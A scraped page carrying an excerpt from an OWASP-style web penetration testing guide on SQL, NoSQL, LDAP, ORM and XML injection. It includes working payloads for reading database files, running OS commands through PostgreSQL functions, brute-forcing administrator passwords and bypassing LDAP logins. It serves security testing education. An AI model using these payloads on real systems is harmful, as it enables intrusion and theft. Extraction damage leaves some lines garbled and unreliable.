0% found this document useful (0 votes)
1K views98 pages

Guide To Thinking

This document discusses SQL injection techniques for PostgreSQL. It covers identifying PostgreSQL, blind injection methods, attacking vectors like the current user and database, reading files using COPY and pg_read_file(), and executing commands using PL/Python.

Uploaded by

davelnx2291
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
1K views98 pages

Guide To Thinking

This document discusses SQL injection techniques for PostgreSQL. It covers identifying PostgreSQL, blind injection methods, attacking vectors like the current user and database, reading files using COPY and pg_read_file(), and executing commands using PL/Python.

Uploaded by

davelnx2291
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 98

125

Web Application Penetration Testing

Measuring the response time and using different values for @i, we
can deduce the length of the name of the current database, and
then start to extract the name itself with the following query:

waitfor delay 0:0:5
This query will wait for 5 seconds if bit @bit of byte @byte of the
name of the current database is 1, and will return at once if it is 0.
Nesting two cycles (one for @byte and one for @bit) we will we able
to extract the whole piece of information.
However, it might happen that the command waitfor is not available
(e.g., because it is filtered by an IPS/web application firewall). This
doesnt mean that blind SQL injection attacks cannot be done, as
the pen tester should only come up with any time consuming operation that is not filtered. For example
declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end
Checking for version and vulnerabilities
The same timing approach can be used also to understand which
version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:
select @@version
OnSQL Server 2005, it will return something like the following:
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14
2005 00:33:37 <snip>
The 2005 part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:
if substring((select @@version),25,1) = 5 waitfor delay
0:0:5
Such query will wait 5 seconds if the 25th character of the @@version variable is 5, showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing
with SQL Server 2000, and another similar query will help to clear
all doubts.
Example 9: bruteforce of sysadmin password
To bruteforce the sysadmin password, we can leverage the fact that
OPENROWSET needs proper credentials to successfully perform
the connection and that such a connection can be also looped to
the local DB Server. Combining these features with an inferenced injection based on response timing, we can inject the following code:
select * from OPENROWSET(SQLOLEDB,;sa;<pwd>,select
1;waitfor delay 0:0:5 )

What we do here is to attempt a connection to the local database


(specified by the empty field after SQLOLEDB) using sa and
<pwd> as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5
seconds (and also returning a value, since OPENROWSET expects
at least one column). Fetching the candidate passwords from a
wordlist and measuring the time needed for each connection, we
can attempt to guess the correct password. In Data-mining with
SQL Injection and Inference, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB
Server itself.
Once we have the sysadmin password, we have two choices:
Inject all following queries using OPENROWSET, in order to use
sysadmin privileges
Add our current user to the sysadmin group using
sp_addsrvrolemember. The current user name can be extracted
using inferenced injection against the variable system_user.
Remember that OPENROWSET is accessible to all users on SQL
Server 2000 but it is restricted to administrative accounts on SQL
Server 2005.

Tools

Francois Larouche: Multiple DBMS SQL Injection tool [SQL Power Injector]
Northern Monkee: [Bobcat]
icesurfer: SQL Server Takeover Tool - [sqlninja]
Bernardo Damele A. G.: sqlmap, automatic SQL injection
tool - http://sqlmap.org/
References
Whitepapers
David Litchfield: Data-mining with SQL Injection and Inference
- http://www.databasesecurity.com/webapps/sqlinference.pdf
Chris Anley, (more) Advanced SQL Injection http://www.encription.co.uk/downloads/more_advanced_sql_
injection.pdf
Steve Friedls Unixwiz.net Tech Tips: SQL Injection Attacks by
Example - http://www.unixwiz.net/techtips/sql-injection.html
Alexander Chigrik: Useful undocumented extended stored
procedures - http://www.mssqlcity.com/Articles/Undoc/
UndocExtSP.htm
Antonin Foller: Custom xp_cmdshell, using shell object http://www.motobit.com/tips/detpg_cmdshell
Paul Litwin: Stop SQL Injection Attacks Before They Stop You http://msdn.microsoft.com/en-us/magazine/cc163917.aspx
SQL Injection - http://msdn2.microsoft.com/en-us/library/
ms161953.aspx
Cesar Cerrudo: Manipulating Microsoft SQL Server Using
SQL Injection - http://www.appsecinc.com/presentations/
Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading
files, getting into internal network, port scanning, DOS

OWASP Backend Security Project Testing


PostgreSQL

Summary
In this section, some SQL Injection techniques for PostgreSQL will
be discussed. These techniques have the following characteristics:

126

Web Application Penetration Testing

PHP Connector allows multiple statements to be executed by


using ; as a statement separator
SQL Statements can be truncated by appending the comment
char: --.
LIMIT and OFFSET can be used in a SELECT statement to retrieve
a portion of the result set generated by the query
From now on it is assumed that http://www.example.com/news.
php?id=1 is vulnerable to SQL Injection attacks.
How to Test
Identifying PostgreSQL
When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that
the backend database engine is PostgreSQL by using the :: cast
operator.
Examples:
In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.
Example:
http://www.example.com/store.php?id=1 AND 1::int=1
An example of a banner string that could be returned is:
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc
(GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Blind Injection
For blind SQL injection attacks, you should take into consideration
the following built-in functions:
String Length
- LENGTH(str)
Extract a substring from a given string
- SUBSTR(str,index,offset)
String representation with no single quotes
- CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
Starting at version 8.2, PostgreSQL introduced a built-in function,
pg_sleep(n), to make the current session process sleep for n seconds. This function can be leveraged to execute timing attacks
(discussed in detail at Blind SQL Injection).
In addition, you can easily create a custom pg_sleep(n) in previous
versions by using libc:
 CREATE function pg_sleep(int) RETURNS int AS /lib/libc.so.6,
sleep LANGUAGE C STRICT
Single Quote unescape
Strings can be encoded, to prevent single quotes escaping, by using chr() function.
chr(n): Returns the character whose ASCII value corresponds to

the number n
ascii(n): Returns the ASCII value which corresponds to the
character n
Lets say you want to encode the string root:
select ascii(r)
114
select ascii(o)
111
select ascii(t)
116
We can encode root as:
chr(114)||chr(111)||chr(111)||chr(116)
Example:
http://www.example.com/store.php?id=1; UPDATE users
SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)-Attack Vectors
Current User
The identity of the current user can be retrieved with the following
SQL SELECT statements:
SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()
Examples:
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL-Current Database
The built-in function current_database() returns the current database name.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Reading from a file


PostgreSQL provides two ways to access a local file:
COPY statement
pg_read_file() internal function (starting from PostgreSQL 8.1)

127

Web Application Penetration Testing

COPY:
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.
Example
/store.php?id=1; CREATE TABLE file_store(id serial, data
text)-/store.php?id=1; COPY file_store(data) FROM /var/lib/postgresql/.psql_history--

stdout?
Heres a little trick:
[1] create a stdout table
CREATE TABLE stdout(id serial, system_out text)
[2] executing a shell command redirecting its stdout
SELECT system(uname -a > /tmp/test)
[3] use a COPY statements to push output of previous command
in stdout table
COPY stdout(system_out) FROM /tmp/test

Data should be retrieved by performing a UNION Query SQL Injection:

[4] retrieve output from stdout


SELECT system_out FROM stdout

retrieves the number of rows previously added in file_store with


COPY statement
retrieves a row at a time with UNION SQL Injection

Example:

Example:
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM
file_store LIMIT 1 OFFSET 1;-/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM
file_store LIMIT 1 OFFSET 2;-...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM
file_store LIMIT 1 OFFSET 11;-pg_read_file():
This function was introduced in PostgreSQL 8.1 and allows one to
read arbitrary files located inside DBMS data directory.

/store.php?id=1; CREATE TABLE stdout(id serial, system_out


text) -/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS /lib/libc.so.6,system LANGUAGE C
STRICT -/store.php?id=1; SELECT system(uname -a > /tmp/test) -/store.php?id=1; COPY stdout(system_out) FROM /tmp/
test -/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1
OFFSET 1--

Examples:
SELECT pg_read_file(server.key,0,1000);

plpython
PL/Python allows users to code PostgreSQL functions in python.
Its untrusted so there is no way to restrict what user can do. Its
not installed by default and can be enabled on a given database
by CREATELANG

Writing to a file
By reverting the COPY statement, we can write to the local file
system with the postgres user rights

[1] Check if PL/Python has been enabled on a database:


SELECT count(*) FROM pg_language WHERE lanname=plpythonu

/store.php?id=1; COPY file_store(data) TO /var/lib/postgresql/copy_output-Shell Injection


PostgreSQL provides a mechanism to add custom functions by
using both Dynamic Library and scripting languages such as python, perl, and tcl.
Dynamic Library
Until PostgreSQL 8.1, it was possible to add a custom function
linked with libc:

[2] If not, try to enable:


CREATE LANGUAGE plpythonu
[3] If either of the above succeeded, create a proxy shell function:
CREATE FUNCTION proxyshell(text) RETURNS text AS import
os; return os.popen(args[0]).read() LANGUAGE plpythonu
[4] Have fun with:
SELECT proxyshell(os command);

 CREATE FUNCTION system(cstring) RETURNS int AS /lib/libc.


so.6, system LANGUAGE C STRICT

Example:
[1] Create a proxy shell function:
 /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS import os; return os.popen(args[0]).read()
LANGUAGE plpythonu;--

Since system returns an int how we can fetch results from system

[2] Run an OS Command:

128

Web Application Penetration Testing

/store.php?id=1 UNION ALL SELECT NULL, proxyshell(whoami), NULL OFFSET 1;-plperl


Plperl allows us to code PostgreSQL functions in perl. Normally, it
is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating
system, such as open. By doing so, its impossible to gain OS-level
access. To successfully inject a proxyshell like function, we need
to install the untrusted version from the postgres user, to avoid
the so-called application mask filtering of trusted/untrusted operations.

tential vulnerabilities. A common approach involves injecting


standard SQL injection attack patterns (e.g. single quote, double
quote, ...) in order to trigger database exceptions. Assuming that
the application does not handle exceptions with custom pages, it
is possible to fingerprint the underline DBMS by observing error
messages.
Depending on the specific web technology used, MS Access driven
applications will respond with one of the following errors:
Fatal error: Uncaught exception com_exception with message Source: Microsoft JET Database Engine

[1] Check if PL/perl-untrusted has been enabled:


SELECT count(*) FROM pg_language WHERE lanname=plperlu

or

[2] If not, assuming that sysadm has already installed the plperl
package, try :
CREATE LANGUAGE plperlu

or

[3] If either of the above succeeded, create a proxy shell function:


 CREATE FUNCTION proxyshell(text) RETURNS text AS
open(FD,$_[0] |);return join(,<FD>); LANGUAGE plperlu
[4] Have fun with:
SELECT proxyshell(os command);
Example:
[1] Create a proxy shell function:
 /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS open(FD,$_[0] |);return join(,<FD>); LANGUAGE plperlu;
[2] Run an OS Command:
/store.php?id=1 UNION ALL SELECT NULL, proxyshell(whoami), NULL OFFSET 1;-References
OWASP : Testing for SQL Injection
OWASP : SQL Injection Prevention Cheat Sheet
PostgreSQL : Official Documentation http://www.postgresql.org/docs/
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injec
tion tool - http://sqlmap.sourceforge.net

Testing for MS Access

Summary
As explained in the generic SQL injection section, SQL injection
vulnerabilities occur whenever user-supplied input is used during
the construction of a SQL query without being adequately constrained or sanitized. This class of vulnerabilities allows an attacker to execute SQL code under the privileges of the user that is used
to connect to the database. In this section, relevant SQL injection
techniques that utilize specific features of Microsoft Access will
be discussed.
How to Test
Fingerprinting
Fingerprinting the specific database technology while testing
SQL-powered application is the first step to properly asses po-

Microsoft JET Database Engine error 80040e14

Microsoft Office Access Database Engine


In all cases, we have a confirmation that were testing an application using MS Access database.
Basic Testing
Unfortunately, MS Access doesnt support typical operators that
are traditionally used during SQL injection testing, including:
No comments characters
No stacked queries
No LIMIT operator
No SLEEP or BENCHMARK alike operators
and many others
Nevertheless, it is possible to emulate those functions by combining multiple operators or by using alternative techniques. As mentioned, it is not possible to use the trick of inserting the characters
/*, -- or # in order to truncate the query. However, we can fortunately bypass this limitation by injecting a null character. Using a
null byte %00 within a SQL query results in MS Access ignoring all
remaining characters. This can be explained by considering that all
strings are NULL terminated in the internal representation used
by the database. It is worth mentioning that the null character
can sometimes cause troubles too as it may truncate strings at
the web server level. In those situations, we can however employ
another character: 0x16 (%16 in URL encoded format).
Considering the following query:
SELECT [username],[password] FROM users WHERE [username]=$myUsername AND [password]=$myPassword
We can truncate the query with the following two URLs:
pass=foo
pass=foo

129

Web Application Penetration Testing

The LIMIT operator is not implemented in MS Access, however it


is possible to limit the number of results by using the TOP or LAST
operators instead.
http://www.example.com/page.app?id=2+UNION+SELECT+TOP+3+name+FROM+appsTable%00
By combining both operators, it is possible to select specific red
characters.
There are also many other functions that can be used while testing SQL injection, including but not limited to:
ASC: Obtain the ASCII value of a character passed as input
CHR: Obtain the character of the ASCII value passed as input
LEN: Return the length of the string passed as parameter
IIF: Is the IF construct, for example the following statement
IIF(1=1, a, b) return a
MID: This function allows you to extract substring, for example
the following statement mid(abc,1,1) return a
TOP: This function allows you to specify the maximum number
of results that the query should return from the top. For example
TOP 1 will return only 1 row.
LAST: This function is used to select only the last row of a set of
rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.
Some of these operators are essential to exploit blind SQL injections.
For other advanced operators, please refer to the documents in the
references.
Attributes Enumeration
In order to enumerate the column of a database table, it is possible
to use a common error-based technique. In short, we can obtain the
attributes name by analyzing error messages and repeating the query with different selectors. For example, assuming that we know the
existence of a column, we can also obtain the name of the remaining
attributes with the following query:
GROUP BY Id%00
In the error message received, it is possible to observe the name of the
next column. At this point, we can iterate the method until we obtain
the name of all attributes. If we dont know the name of the first attribute, we can still insert a fictitious column name and obtain the name
of the first attribute within the error message.
Obtaining Database Schema
Various system tables exist by default in MS Access that can be potentially used to obtain table names and columns. Unfortunately, in the
default configuration of recent MS Access database releases, these
tables are not accessible. Nevertheless, it is always worth trying:

the following query:


UNION SELECT Name FROM MSysObjects WHERE Type =
1%00
Alternatively, it is always possible to bruteforce the database schema
by using a standard wordlist (e.g. FuzzDb).
In some cases, developers or system administrators do not realize
that including the actual .mdb file within the application webroot can
allow to download the entire database. Database filenames can be inferred with the following query:
http://www.example.com/page.app?id=1+UNION+SELECT+1+FROM+name.table%00
where name is the .mdb filename and table is a valid database table. In
case of password protected databases, multiple software utilities can
be used to crack the password. Please refer to the references.
Blind SQL Injection Testing
Blind SQL Injection vulnerabilities are by no means the most easily exploitable SQL injections while testing real-life applications. In case of
recent versions of MS Access, it is also not feasible to execute shell
commands or read/write arbitrary files.
In case of blind SQL injections, the attacker can only infer the result of
the query by evaluating time differences or application responses. It is
supposed that the reader already knows the theory behind blind SQL
injection attacks, as the remaining part of this section will focus on MS
Access specific details.
The following example is used:
http://www.example.com/index.php?myId=[sql]
where the id parameter is used within the following query:
SELECT * FROM orders WHERE [id]=$myId
Lets consider the myId parameter vulnerable to blind SQL injection.
As an attacker, we want to extract the content of column username
in the table users, assuming that we have already disclosed the database schema.
A typical query that can be used to infer the first character of the username of the 10th rows is:
http://www.example.com/index.php?id=IIF((select%20
MID(LAST(username),1,1)%20from%20(select%20TOP%20
10%20username%20from%20users))=a,0,no)

MSysObjects
MSysACEs
MSysAccessXML

If the first character is a, the query will return 0 or otherwise the string
no.

For example, if a union SQL injection vulnerability exists, you can use

By using a combination of the IFF, MID, LAST and TOP functions, it is

130

Web Application Penetration Testing

possible to extract the first character of the username on a specifically


selected row. As the inner query returns a set of records, and not just
one, it is not possible to use it directly. Fortunately, we can combine
multiple functions to extract a specific string.
Lets assume that we want to retrieve the username of the 10th row.
First, we can use the TOP function to select the first ten rows using
the following query:
SELECT TOP 10 username FROM users
Then, using this subset, we can extract the last row by using the
LAST function. Once we have only one row and exactly the row
containing our string, we can use the IFF, MID and LAST functions
to infer the actual value of the username. In our example, we employ IFF to return a number or a string. Using this trick, we can
distinguish whether we have a true response or not, by observing
application error responses. As id is numeric, the comparison with
a string results in a SQL error that can be potentially leaked by 500
Internal Server Error pages. Otherwise, a standard 200 OK page
will be likely returned.
For example, we can have the following query:
http://www.example.com/index.php?id=%20AND%20
1=0%20OR%20a=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20from%20users))=a,a,b)%00
that is TRUE if the first character is a or false otherwise.
As mentioned, this method allows to infer the value of arbitrary
strings within the database:
[1] By trying all printable values, until we find a match
[2] By inferring the length of the string using the LEN function,
or by simply stopping after we have found all characters
Time-based blind SQL injections are also possible by abusing
heavy queries.
References
http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
http://packetstormsecurity.com/files/65967/Access-ThroughAccess.pdf.html
http://seclists.org/pen-test/2003/May/74
http://www.techonthenet.com/access/functions/index_
alpha.php
http://en.wikipedia.org/wiki/Microsoft_Access

Testing for NoSQL injection

Summary
NoSQL databases provide looser consistency restrictions than
traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer
performance and scaling benefits. Yet these databases are still
potentially vulnerable to injection attacks, even if they arent using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[1] language , rather than in
the declarative[2] SQL language, the potential impacts are greater

than traditional SQL injection.


NoSQL database calls are written in the applications programming language, a custom API call, or formatted according to a
common convention (such as XML, JSON, LINQ, etc). Malicious
input targeting those specifications may not trigger the primarily
application sanitization checks. For example, filtering out common
6jLG
against a JSON API, where special characters include / { } : .
There are now over 150 NoSQL databases available[3] for use
within an application, providing APIs in a variety of languages and
relationship models. Each offers different features and restrictions. Because there is not a common language between them,
example injection code will not apply across all NoSQL databases.
For this reason, anyone testing for NoSQL injection attacks will
need to familiarize themselves with the syntax, data model, and
underlying programming language in order to craft specific tests.
NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would
execute within the database engine, NoSQL variants may execute
during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.
Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing. At the time of writing MongoDB is the most
widely used NoSQL database, and so all examples will feature
MongoDB APIs.
How to Test
Testing for NoSQL injection vulnerabilities in MongoDB:
The MongoDB API expects BSON (Binary JSON) calls, and includes
a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[4]
The most commonly used API call allowing arbitrary JavaScript
input is the $where operator.
The MongoDB $where operator typically is used as a simple filter
or check, as it is within SQL.
db.myCollection.find( { $where: this.credits == this.debits
} );
Optionally JavaScript is also evaluated to allow more advanced
conditions.
db.myCollection.find( { $where: function() { return obj.credits
- obj.debits < 0; } } );
Example 1
If an attacker were able to manipulate the data passed into the
$where operator, that attacker could include arbitrary JavaScript
to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed

131

Web Application Penetration Testing

directly into the MongoDB query without sanitization.


b.myCollection.find( { active: true, $where: function() { return
obj.credits - obj.debits < $userInput; } } );;
As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting
special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string
containing any of the following special characters were passed
unsanitized, it would trigger a database error.
\;{}
With normal SQL injection, a similar vulnerability would allow an
attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured
language, not only does this allow an attacker to manipulate data,
but also to run arbitrary code. For example, instead of just causing
an error when testing, a full exploit would use the special characters to craft valid JavaScript.
This input 0;var date=new Date(); do{curDate = new Date();}
while(curDate-date<10000) inserted into $userInput in the above
example code would result in the following JavaScript function
being executed. This specific attack string would case the entire
MongoDB instance to execute at 100% CPU usage for 10 second.
function() { return obj.credits - obj.debits < 0;var
date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }
Example 2
Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger
NoSQL injection. Many NoSQL instances have their own reserved
variable names, independent of the application programming language.
For example within MongoDB, the $where syntax itself is a reserved query operator. It needs to be passed into the query exactly
as shown; any alteration would cause a database error. However,
because $where is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a
PHP variable named $where. The PHP MongoDB documentation
explicitly warns developers:
Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesnt try to
replace $exists with the value of the variable $exists.
Even if a query depended on no user input, such as the following
example, an attacker could exploit MongoDB by replacing the operator with malicious data.
db.myCollection.find( { $where: function() { return obj.credits
- obj.debits < 0; } } );

One way to potentially assign data to PHP variables is via HTTP


Parameter Pollution (see: Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)). By creating a variable named $where
via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid.
Any value of $where other than the string $where itself, should
suffice to demonstrate vulnerability. An attacker would develop a
full exploit by inserting the following: $where: function() { //arbitrary JavaScript here }
References
Whitepapers
Bryan Sullivan from Adobe: Server-Side JavaScript Injection
- https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_
Sullivan_Server_Side_WP.pdf
Bryan Sullivan from Adobe: NoSQL, But Even Less Security
- http://blogs.adobe.com/asset/files/2011/04/NoSQL-ButEven-Less-Security.pdf
Erlend from Bekk Consulting: [Security] NOSQL-injection http://erlend.oftedal.no/blog/?blogid=110
Felipe Aragon from Syhunt: NoSQL/SSJS Injection http://www.syhunt.com/?n=Articles.NoSQLInjection
MongoDB Documentation: How does MongoDB address
SQL or Query injection? - http://docs.mongodb.org/manual/
faq/developers/#how-does-mongodb-address-sql-or-queryinjection
PHP Documentation: MongoCollection::find http://php.net/manual/en/mongocollection.find.php
Hacking NodeJS and MongoDB http://blog.websecurify.com/2014/08/hacking-nodejs-andmongodb.html
Attacking NodeJS and MongoDB - http://blog.websecurify.
com/2014/08/attacks-nodejs-and-mongodb-part-to.html

Testing for LDAP Injection (OTG-INPVAL-006)

Summary
The Lightweight Directory Access Protocol (LDAP) is used to store
information about users, hosts, and many other objects. LDAP injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure
to be disclosed, modified, or inserted. This is done by manipulating
input parameters afterwards passed to internal search, add, and
modify functions.
A web application could use LDAP in order to let users authenticate or search other users information inside a corporate structure. The goal of LDAP injection attacks is to inject LDAP search
filters metacharacters in a query which will be executed by the
application.
[Rfc2254] defines a grammar on how to build a search filter on
LDAPv3 and extends [Rfc1960] (LDAPv2).
An LDAP search filter is constructed in Polish notation, also known
as [prefix notation].
This means that a pseudo code condition on a search filter like
this:
C^

132

Web Application Penetration Testing

will be represented as:


C^
Boolean conditions and group aggregations on an LDAP search filter could be applied by using the following metacharacters:

Metachar

Meaning



Boolean AND

Boolean OR

Boolean NOT

Equals

~=

Approx

>=

Greater than

<=

Less than

Any character

()

Grouping parenthesis

More complete examples on how to build a search filter can be


found in the related RFC.
A successful exploitation of an LDAP injection vulnerability could
allow the tester to:
Access unauthorized content
Evade application restrictions
Gather unauthorized informations
Add or modify Objects inside LDAP tree structure.
How to Test
Example 1: Search Filters
Lets suppose we have a web application using a search filter like
the following one:
searchfilter=(cn=+user+)
which is instantiated by an HTTP request like this:
http://www.example.com/ldapsearch?user=John
If the value John is replaced with a *, by sending the request:
http://www.example.com/ldapsearch?user=*

the filter will look like:


searchfilter=(cn=*)
which matches every object with a cn attribute equals to anything.
If the application is vulnerable to LDAP injection, it will display
some or all of the users attributes, depending on the applications
execution flow and the permissions of the LDAP connected user.
A tester could use a trial-and-error approach, by inserting in the

the application for errors.
Example 2: Login
If a web application uses LDAP to check user credentials during
the login process and it is vulnerable to LDAP injection, it is possible to bypass the authentication check by injecting an always true
LDAP query (in a similar way to SQL and XPATH injection ).
Lets suppose a web application uses a filter to match LDAP user/
password pair.
^LD5}+base64(pack(H*,md5(pass)))+));
By using the following values:
user=*)(uid=*))(|(uid=*
pass=password
the search filter will results in:
^L#
X03MO1qnZdYdgyfeuILPmQ==));
which is correct and always true. This way, the tester will gain
logged-in status as the first user in LDAP tree.

Tools

Softerra LDAP Browser http://www.ldapadministrator.com/


References
Whitepapers
Sacha Faust: LDAP Injection: Are Your Applications Vulnerable?
- http://www.networkdls.com/articles/ldapinjection.pdf
Bruce Greenblatt: LDAP Overview http://www.directory-applications.com/ldap3_files/frame.htm
IBM paper: Understanding LDAP http://www.redbooks.ibm.com/redbooks/SG244986.html
RFC 1960: A String Representation of LDAP Search Filters http://www.ietf.org/rfc/rfc1960.txt

Testing for ORM Injection


(OTG-INPVAL-007)

Summary
ORM Injection is an attack using SQL Injection against an ORM
generated data access object model. From the point of view of a

133

Web Application Penetration Testing

tester, this attack is virtually identical to a SQL Injection attack.


However, the injection vulnerability exists in code generated by
the ORM tool.
An ORM is an Object Relational Mapping tool.
It is used to expedite object oriented development within the data
access layer of software applications, including web applications.
The benefits of using an ORM tool include quick generation of an
object layer to communicate to a relational database, standardized code templates for these objects, and usually a set of safe
functions to protect against SQL Injection attacks.
ORM generated objects can use SQL or in some cases, a variant of
SQL, to perform CRUD (Create, Read, Update, Delete) operations
on a database. It is possible, however, for a web application using
ORM generated objects to be vulnerable to SQL Injection attacks if
methods can accept unsanitized input parameters.
ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For
a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software
How to Test
Black Box testing
Blackbox testing for ORM Injection vulnerabilities is identical to
SQL Injection testing (see Testing for SQL Injection). In most cases,
the vulnerability in the ORM layer is a result of customized code
that does not properly validate input parameters.
Most ORM tools provide safe functions to escape user input.
However, if these functions are not used, and the developer uses
custom functions that accept user input, it may be possible to execute a SQL injection attack.
Gray Box testing
If a tester has access to the source code for a web application, or
can discover vulnerabilities of an ORM tool and tests web applications that use this tool, there is a higher probability of successfully
attacking the application.
Patterns to look for in code include:
Input parameters concatenated with SQL strings. This code that
uses ActiveRecord for Ruby on Rails is vulnerable (though any
ORM can be vulnerable)
Orders.find_all customer_id = 123 AND order_date = #{@
params[order_date]}
Simply sending OR 1-- in the form where order date can be
entered can yield positive results.

Tools

Hibernate http://www.hibernate.org
NHibernate http://nhforge.org/
References
Whitepapers
References from Testing for SQL Injection are applicable to ORM
Injection
Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relation
al_mapping

OWASP Interpreter Injection

Testing for XML Injection (OTG-INPVAL-008)

Summary
XML Injection testing is when a tester tries to inject an XML doc
to the application. If the XML parser fails to contextually validate
data, then the test will yield a positive result.
This section describes practical examples of XML Injection. First,
an XML style communication will be defined and its working principles explained. Then, the discovery method in which we try to
insert XML metacharacters. Once the first step is accomplished,
the tester will have some information about the XML structure, so
it will be possible to try to inject XML data and tags (Tag Injection).
How to Test
Lets suppose there is a web application using an XML style communication in order to perform user registration. This is done by
creating and adding a new <user> node in an xmlDb file.
Lets suppose the xmlDB file is like the following:
<?xml version=1.0 encoding=ISO-8859-1?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
</users>
When a user registers himself by filling an HTML form, the application receives the users data in a standard request, which, for the
sake of simplicity, will be supposed to be sent as a GET request.
For example, the following values:
Username: tony
Password: Un6R34kb!e
E-mail: [email protected]
will produce the request:
nn`
The application, then, builds the following node:
<user>

<username>tony</username>

134

Web Application Penetration Testing

</user>

<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>

which will be added to the xmlDB:


<?xml version=1.0 encoding=ISO-8859-1?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
</users>
Discovery
The first step in order to test an application for the presence
of a XML Injection vulnerability consists of trying to insert XML
metacharacters.
XML metacharacters are:
Single quote: - When not sanitized, this character could throw
an exception during XML parsing, if the injected value is going to
be part of an attribute value in a tag.
As an example, lets suppose there is the following attribute
<node attrib=$inputValue/>
So, if:
inputValue = foo
is instantiated and then is inserted as the attrib value:
<node attrib=foo/>
then, the resulting XML document is not well formed.
